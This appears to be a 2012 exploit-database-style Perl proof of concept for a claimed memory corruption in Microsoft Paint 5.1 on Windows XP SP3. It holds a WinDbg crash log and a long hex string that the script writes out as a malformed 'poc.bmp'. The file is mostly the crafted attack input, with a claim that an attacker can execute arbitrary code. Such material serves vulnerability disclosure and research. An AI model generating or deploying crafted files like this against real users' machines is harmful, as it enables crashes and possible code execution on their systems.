#!/usr/bin/perl #Title : Microsoft Paint 5.1 memory corruption #Version : build 2600.xpsp Service Pack3 #Date : 2012-10-21 #Vendor : http://www.microsoft.com #Impact : Med/High #Contact : coolkaveh [at] rocketmail.com #Twitter : @coolkaveh #tested : XP SP3 ENG #Author : coolkaveh ####################################################################################################### #Notice : for testing POC please run the Microsoft Pain under a debugger and then open the POC file. #---- #Bug : #---- #Memory corruption during the handling of the bmp files a context-dependent attacker can execute arbitrary code. ####################################################################################################### #(844.cc4): Break instruction exception - code 80000003 (first chance) #eax=7ffda000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005 #eip=7c90120e esp=00faffcc ebp=00fafff4 iopl=0 nv up ei pl zr na pe nc #cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 #*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\ntdll.dll - #ntdll!DbgBreakPoint: #7c90120e cc int 3 #0:005> g #(844.e20): Access violation - code c0000005 (first chance) #First chance exceptions are reported before any exception handling. #This exception may be expected and handled. #eax=000cab68 ebx=00000000 ecx=00000276 edx=000009d8 esi=000d5589 edi=000cab68 #eip=77f2f118 esp=0007ef30 ebp=0007efb0 iopl=0 nv up ei pl nz na po nc #cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 #*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\GDI32.dll - #GDI32!DdEntry11+0x44: #77f2f118 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] #0:000> k #*** ERROR: Module load completed but symbols could not be loaded for C:\WINDOWS\system32\mspaint.exe #ChildEBP RetAddr #WARNING: Stack unwind information not available. Following frames may be wrong. #0007efb0 0101235e GDI32!DdEntry11+0x44 #0007f024 0100a666 mspaint+0x1235e #0007f04c 0102284e mspaint+0xa666 #0007f07c 01022af6 mspaint+0x2284e #*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MFC42u.DLL - #0007f100 5f801bc5 mspaint+0x22af6 #0007f120 5f801b36 MFC42u!Ordinal6370+0x22 #0007f180 5f802f6c MFC42u!Ordinal1108+0x91 #0007f1a4 5f810971 MFC42u!Ordinal5801+0x34 #0007f210 5f81424a MFC42u!Ordinal3944+0x5b #0007f2b0 7c911066 MFC42u!Ordinal5190+0x14d #0007f2b4 7c9101bb ntdll!wcsncpy+0xb07 #0007f2c8 7c910202 ntdll!RtlAllocateHeap+0x117 #0007f2f4 7c910202 ntdll!RtlAllocateHeap+0x15e #0007f2f8 7c91017b ntdll!RtlAllocateHeap+0x15e #0007f2fc 7c9101bb ntdll!RtlAllocateHeap+0xd7 #0007f300 00000000 ntdll!RtlAllocateHeap+0x117 ##################################################################################################################### my $poc = "\x42\x4D\x4E\x0A\x00\x00\x00\x00\x00\x00\xC7\xBD\x00\x00\x28\x00\x00\x00\x46\x00\x00\x00\x46\x00\x00". "\x00\x01\x00\x04\x00\x00\x00\x00\x00\xD8\x09\x00\x00\xC4\x0E\x00\x00\xC4\x0E\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x80\x00\x00\x00\x80\x80\x00\x80\x00\x00\x00\x80". "\x00\x80\x00\x80\x80\x00\x00\x80\x80\x80\x00\xC0\xC0\xC0\x00\x00\x00\xFF\x00\x00\xFF\x00\x00\x00\xFF". "\xFF\x00\xFF\x00\x00\x00\xFF\x00\xFF\x00\xFF\xFF\x00\x00\xFF\xFF\xFF\x00\x88\x88\x88\x88\x88\x88\x88". "\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x77\x88\x87\x78\x88\x88\x88\x88\x87\x88\x88\x88\x88\x88". "\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x88\xFF\xFF\x88\x88\x88\x88\x88\xFF\x87\x70\x77\x71". "\x77\x77\x77\x77\x77\x72\x78\x88\x77\x07\x88\x77\x77\x78\x00\x88\x88\x88\x88\x88\x88\x88\x88\x8F\xFF". "\xFF\xFF\xFF\xFF\x88\x8F\xF8\xFF\xFF\x7F\xFF\xF7\x8F\x07\xF7\x8F\xF8\x07\x88\xFF\xF0\x78\xFF\x87\x77". "\x00\x88\x88\x88\x88\x88\x88\x88\x88\x8F\xFF\xFF\xFF\xFF\x88\xFF\x88\x8F\xFF\xFF\x8F\xF8\x87\x8F\x7F". "\xF7\xFF\x8F\x80\x8F\xFF\xF7\x8F\xF8\xFF\x07\x00\x88\x88\x88\x88\x88\x88\x88\x88\x8F\xFF\xFF\xFF\xF8". "\x8F\xF8\x88\x8F\xFF\x77\x8F\xF8\x84\x8F\xFF\xF7\xFF\x08\xF7\xFF\x7F\xF7\xFF\x47\x8F\x76\x00\x88\x88". "\x88\x88\x88\x88\x88\x88\xFF\xFF\xFF\xFF\xF8\x8F\x88\x88\x8F\xFF\x77\x8F\xFF\xF7\x8F\xFF\xF7\xFF\x08". "\xF7\xF8\x0F\xF7\xF8\x07\x7F\x77\x00\x88\x88\x88\x88\x88\x88\x88\x88\xFF\xFF\xFF\xFF\xFF\xF8\x88\x88". "\x8F\xFF\x77\x8F\x87\x77\x8F\xF8\xF7\xFF\x7F\xF7\xFF\x07\x87\xFF\x77\x8F\x77\x00\x88\x88\x88\x88\x88". "\x88\x88\x88\xFF\xFF\xFF\xFF\xFF\x88\x88\x88\x8F\xFF\x77\xFF\xFF\xF8\x8F\x78\xF7\xFF\xFF\x87\xFF\x87". "\x74\x8F\xFF\xF8\x78\x00\x88\x88\x88\x88\x88\x88\x88\x88\xFF\xFF\xFF\xFF\xF8\x88\x88\x88\x8F\xFF\x78". "\xFF\x88\x87\x88\x8F\xF8\xFF\x88\x8F\xFF\xFF\xF7\x7F\xF8\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88". "\xFF\xFF\xFF\xFF\x88\x88\x88\x88\x8F\xF8\x7F\xFF\x88\x88\x88\xFF\xFF\xFF\xFF\xFF\xFF\xF8\x87\xFF\xFF". "\xFF\xF8\x00\x88\x88\x88\x88\x88\x88\x88\x88\xFF\xFF\xFF\xF8\x88\x88\x88\x88\x8F\xFF\xFF\xF8\x88\x88". "\x88\x8F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xF8\x00\x88\x88\x88\x88\x88\x88\x88\x8F\xFF\xFF\xFF". "\x88\x88\x88\x88\x88\x88\xFF\xFF\x8F\x87\x77\x88\x8F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xF8\x00". "\x88\x88\x88\x88\x88\x88\x88\x8F\xFF\xFF\xFF\xFF\xF8\x88\x88\x88\x88\xFF\xFF\x88\x87\x77\x77\x8F\xFF". "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x88\x00\x88\x88\x88\x88\x88\x88\x88\x8F\xFF\xFF\xFF\xFF\xFF\xF8". "\x88\x88\x8F\xFF\xFF\x88\x87\x77\x77\x78\xFF\xFF\xFF\x8F\xFF\xFF\xFF\xFF\xFF\xFF\xF8\x00\x88\x88\x88". "\x88\x88\x88\x88\x88\xFF\xFF\xFF\xFF\xFF\xF8\x88\x88\xFF\xFF\xF8\x88\x88\x87\x77\x77\xFF\xFF\x8F\xFF". "\xFF\xFF\xFF\xFF\xFF\xFF\xF8\x00\x88\x88\x88\x88\x88\x88\x88\x88\xFF\xFF\xFF\xFF\xF8\x88\x88\x8F\xFF". "\xFF\xF8\x88\x88\x88\x88\x77\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xF8\x00\x88\x88\x88\x88\x88\x88". "\x88\x88\xFF\xFF\xFF\xF8\x88\x88\x8F\xFF\xFF\xFF\x88\x88\x77\x88\x88\x87\x8F\xFF\xFF\xFF\xFF\xFF\xFF". "\xFF\xFF\xFF\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x8F\xFF\x88\x88\x88\xFF\xFF\xFF\xFF\xF8\x88\x88". "\x78\x88\x88\x88\x8F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x8F". "\xFF\x88\x88\xFF\xFF\xFF\xF8\x88\x88\x88\x88\x88\x88\x88\x88\x8F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF". "\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x8F\xF8\x88\x8F\xFF\xFF\xF8\xF8\x88\x88\x88\x87\x88\x88\x88". "\x88\x8F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x8F\xF8\x8F\xFF". "\xFF\xF8\x88\x88\x88\x88\x88\x77\x78\x88\x88\x88\x88\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x88\x00\x88". "\x88\x88\x88\x88\x88\x88\x88\x8F\xF8\xF8\x88\x88\x88\x88\x87\x31\x78\x88\x77\x77\x88\x88\x88\x88\xFF". "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x88\x8F\x88\x87\x88\x88\x88". "\x88\x87\x33\x77\x77\x77\x88\x88\x88\x88\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x88\x00\x88\x88\x88\x88". "\x88\x88\x88\x88\x88\xFF\x88\x77\x88\x88\x88\x88\x88\x87\x33\x77\x77\x88\x88\x88\x88\x8F\xFF\xFF\xFF". "\xFF\xFF\xFF\xFF\xFF\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x77\x78\x88\x88\x88\x88\x88\x88". "\x87\x77\x77\x88\x88\x88\x88\x8F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x88\x00\x88\x88\x88\x88\x88\x88\x88". "\x88\x88\x88\x17\x78\x88\x88\x88\x88\x88\x88\x88\x77\x77\x88\x88\x88\x88\x8F\xFF\xFF\xFF\xFF\xFF\xFF". "\xFF\xFF\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x88\x87\x37\x78\x88\x88\x88\x88\x88\x88\x88\x87\x77". "\x88\x88\x88\x88\x8F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x88\x77". "\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x87\x78\x88\x88\x88\x8F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x88". "\x00\x88\x88\x88\x88\x88\x88\x88\x88\xF8\x78\x87\x17\x77\x77\x77\x88\x88\x88\x88\x88\x87\x78\x88\x88". "\x88\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x88\x78\x87\x77\x78". "\x88\x77\x77\x88\x88\x88\x88\x88\x78\x88\x88\x77\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x88\x00\x88\x88". "\x88\x88\x88\x88\x88\x88\xF8\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x87\x88\x87\x77\x78\xF8". "\x8F\xFF\xFF\xFF\xFF\xFF\xFF\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88". "\x88\x88\x88\x88\x88\x87\x87\x77\x77\x78\xF8\xFF\xFF\xFF\xFF\xFF\xFF\xF8\x88\x00\x88\x88\x88\x88\x88". "\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x87\x77\x77\x77\x78\x88\xFF\xFF\xFF". "\xFF\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x87\x78\x88\x88\x88\x88\x88". "\x88\x88\x87\x78\x88\x77\x88\xFF\xFF\xFF\xFF\xFF\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88". "\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x87\x88\x87\x78\x88\xF8\xFF\xFF\xFF\xF8\x88\x88". "\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x77". "\x88\x87\x78\x88\x8F\xFF\xFF\xFF\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88". "\x88\x88\x77\x88\x88\x88\x88\x88\x88\x87\x78\x87\x88\x88\x88\x8F\xF8\x88\x88\x88\x88\x88\x88\x88\x00". "\x88\x88\x88\x88\x88\x88\x88\x8F\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x87\x77\x88\x77\x88\x77". "\x77\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88". "\x88\x88\x88\x88\x88\x88\x77\x77\x78\x88\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88". "\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x77\x77\x88\x87\x77\x78\x88\x88". "\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88". "\x88\x88\x87\x77\x78\x88\x87\x77\x78\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x78". "\x88\x88\x77\x77\x78\x88\x88\x88\x88\x88\x88\x88\x88\x88\x77\x78\x88\x88\x78\x88\x88\x88\x88\x88\x88". "\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x77\x88\x77\x77\x77\x77\x88\x88\x88\x78\x77\x78\x88\x88\x88". "\x77\x87\x87\x88\x87\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x77\x88\x70\x77". "\x00\x77\x88\x88\x88\x78\x87\x77\x78\x88\x88\x78\x77\x77\x78\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88". "\x88\x00\x88\x88\x88\x88\x88\x77\x88\x87\x31\x17\x78\x88\x88\x88\x77\x60\x70\x37\x88\x87\x77\x77\x87". "\x77\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x77\x88\x87\x77\x77\x88\x88". "\x88\x88\x71\x17\x17\x78\x88\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88". "\x88\x88\x88\x88\x77\x78\x87\x78\x88\x88\x88\x88\x87\x88\x87\x88\x88\x87\x77\x77\x77\x77\x77\x78\x88". "\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x77\x78\x88\x88\x88\x88\x88\x88\x88\x77". "\x88\x88\x88\x87\x77\x87\x77\x37\x77\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88". "\x88\x77\x78\x88\x88\x88\x88\x88\x88\x88\x88\x77\x78\x88\x77\x77\x77\x73\x37\x78\x88\x88\x88\x88\x88". "\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x87\x78\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88". "\x77\x77\x77\x73\x17\x78\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x87\x77". "\x88\x88\x88\x88\x88\x88\xF8\x88\x88\x88\x87\x77\x77\x77\x71\x13\x77\x78\x88\x88\x88\x88\x88\x88\x88". "\x88\x88\x88\x00\x88\x88\x88\x88\x88\x87\x77\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x87\x77\x77\x77". "\x11\x13\x77\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x87\x77\x88\x88\x88". "\x88\x88\x88\x88\x88\x88\x88\x77\x77\x77\x73\x13\x37\x33\x77\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88". "\x00\x88\x88\x88\x88\x88\x88\x77\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x77\x77\x77\x33\x37\x77\x37". "\x77\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x77\x88\x88\x88\x88\x88\x88". "\x88\x88\x88\x87\x77\x77\x77\x33\x33\x73\x77\x38\x88\x88\x78\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88". "\x88\x88\x88\x87\x87\x78\x88\x88\x88\x88\x88\x88\x88\x88\x87\x77\x77\x77\x73\x37\x37\x33\x37\x78\x87". "\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x87\x77\x88\x88\x88\x88\x88\x88\x88\x88". "\x77\x77\x77\x73\x73\x77\x77\x73\x37\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88". "\x88\x88\x77\x77\x88\x88\x88\x88\x88\x88\x87\x77\x77\x77\x77\x37\x77\x73\x33\x37\x78\x88\x88\x88\x88". "\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x87\x77\x78\x88\x88\x88\x88\x88\x77\x77\x77\x77". "\x77\x77\x77\x33\x33\x77\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88". "\x77\x77\x77\x88\x88\x88\x77\x77\x77\x77\x77\x77\x77\x31\x11\x33\x77\x88\x78\x88\x88\x88\x88\x88\x88". "\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x77\x77\x77\x78\x77\x77\x77\x77\x77\x33\x37\x77\x73\x11". "\x13\x13\x77\x78\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x77\x77\x77\x73". "\x77\x73\x37\x77\x77\x77\x33\x33\x33\x31\x11\x11\x13\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00". "\x88\x88\x88\x88\x88\x88\x88\x87\x77\x77\x73\x77\x73\x13\x77\x77\x73\x33\x33\x31\x33\x33\x33\x37\x88". "\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x87\x77\x77\x73\x77\x77\x33". "\x37\x77\x73\x11\x11\x11\x33\x33\x33\x77\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88". "\x88\x88\x88\x88\x77\x87\x77\x77\x77\x77\x73\x33\x77\x11\x11\x11\x13\x33\x33\x33\x38\x88\x88\x88\x88". "\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x77\x77\x77\x37\x77\x77\x11\x17\x71\x10". "\x00\x33\x33\x33\x33\x33\x78\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\xF8\x88". "\x88\x87\x77\x77\x37\x77\x73\x33\x77\x31\x10\x00\x01\x33\x33\x33\x33\x78\x88\x88\x88\x88\x88\x88\x88". "\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\xF8\x88\x87\x77\x17\x77\x77\x77\x77\x73\x11\x11\x11\x11\x11". "\x11\x33\x37\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x77". "\x77\x87\x77\x77\x77\x77\x77\x77\x77\x77\x77\x77\x77\x78\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88". "\x88\x00\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88". "\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x00". open(C, ">:raw", "poc.bmp"); print C $poc; close(C);